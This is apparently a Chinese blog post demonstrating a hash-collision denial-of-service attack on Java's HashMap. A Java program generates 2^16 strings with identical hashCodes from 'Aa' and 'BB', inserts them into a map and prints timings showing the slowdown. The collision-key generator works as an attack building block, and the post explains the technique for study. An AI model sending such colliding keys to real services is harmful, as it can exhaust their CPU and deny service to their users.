Hash表的拒绝服务漏洞

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 用来模拟HashMap的拒绝服务攻击，因为hash表存放数据的时候如果HashCode值相等，
 * 首先用hash值确定tables的索引【index】，得到entry，然后将自己加入entry链的头部
 * 原来的值就成为它的next，这也是为什么entry有Next
 * 则这个相同的HashCode上用链表的形式去存放HashCode相等的值，如果相似的Code
 * 太多，这个链表将很长，一个简单的查询将耗尽所有的CPU
 * @author wb-zhangye
 *
 */
public class HashDenyService {
	/**
	 * 存放要放入hash表中hashcode相同的字符串
	 */
	private static List<String> DEPOSITORY = new ArrayList<String>();
	
	/**
	 * HashMap存放多个hashCode相同的键
	 */
	private static Map<String, String> DENYMAP = new HashMap<String, String>();
	
	/**
	 * 要放入hash表中的相同hashCode的个数，用 2 的POWER次幂表示，
	 * 例如 2^15
	 */
	private static int POWER = 15;
	
	
	public static void main(String[] args) {
		
		/**************************************************
		 ***************构造多个hashCode相同的Map***********
		 **************************************************/
		System.out.println("-------------attack---------- ");
		Long beginTime = System.currentTimeMillis();
		
		String xx = "Aa", yy = "BB";	// xx 与 yy的hashCode值相同
		String[] arrays = { xx, yy };
		perm(arrays, null);
		
		for(int i = 0; i < DEPOSITORY.size(); i++){
			DENYMAP.put(DEPOSITORY.get(i), "xx" + i);
		}
		
		Long endTime = System.currentTimeMillis();
		System.out.println("-------------cease fire---------- ");
		System.out.println("一共耗时" + (endTime - beginTime));
		
		
		/**************************************************
		 *************在Map中取出一个key对应的value*********
		 **************************************************/
		System.out.println("-------------start get Service---------- ");
		Long xstartTiem = System.currentTimeMillis();
		
		String tempData = DENYMAP.get(DEPOSITORY.get(30));
		int code = hash(tempData.hashCode());
		int index = code & (64 - 1);
		System.out.println("index is " + index);
		
		System.out.println(DENYMAP.get(DEPOSITORY.get(30)));
		Long xendTime = System.currentTimeMillis();
		System.out.println("一共耗时" + (xendTime - xstartTiem));
		System.out.println("-------------end end Service---------- ");
	}
	
	public static int hash(int h) {
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

	/**
	 * 构造多个hashcode相同的字符串，放入DEPOSITORY中
	 * @param arrays
	 * @param paramList
	 */
	public static void perm(String[] arrays, List<String> paramList) {
		int length = arrays.length;
		for (int i = 0; i < length; i++) {
			List<String> tempArray = null;
			if (null == paramList) {
				tempArray = new ArrayList<String>();
			} else {
				tempArray = paramList;
			}
			if (tempArray.size() <= POWER) {
				List<String> tempList = new ArrayList<String>(tempArray);
				tempList.add(arrays[i]);
				perm(arrays, tempList);
			} else {
				DEPOSITORY.add(transferStr(tempArray));
				return;
			}
		}
	}
	
	private static String transferStr(List list){
		int length = list.size();
		StringBuilder builder = new StringBuilder();
		for(int i = 0; i < length; i++){
			builder.append(list.get(i));
		}
		return builder.toString();
	}
}
	

Output


-------------attack----------
-------------cease fire----------
一共耗时99433
-------------start get Service----------
index is 27
xx30
一共耗时0
-------------end end Service----------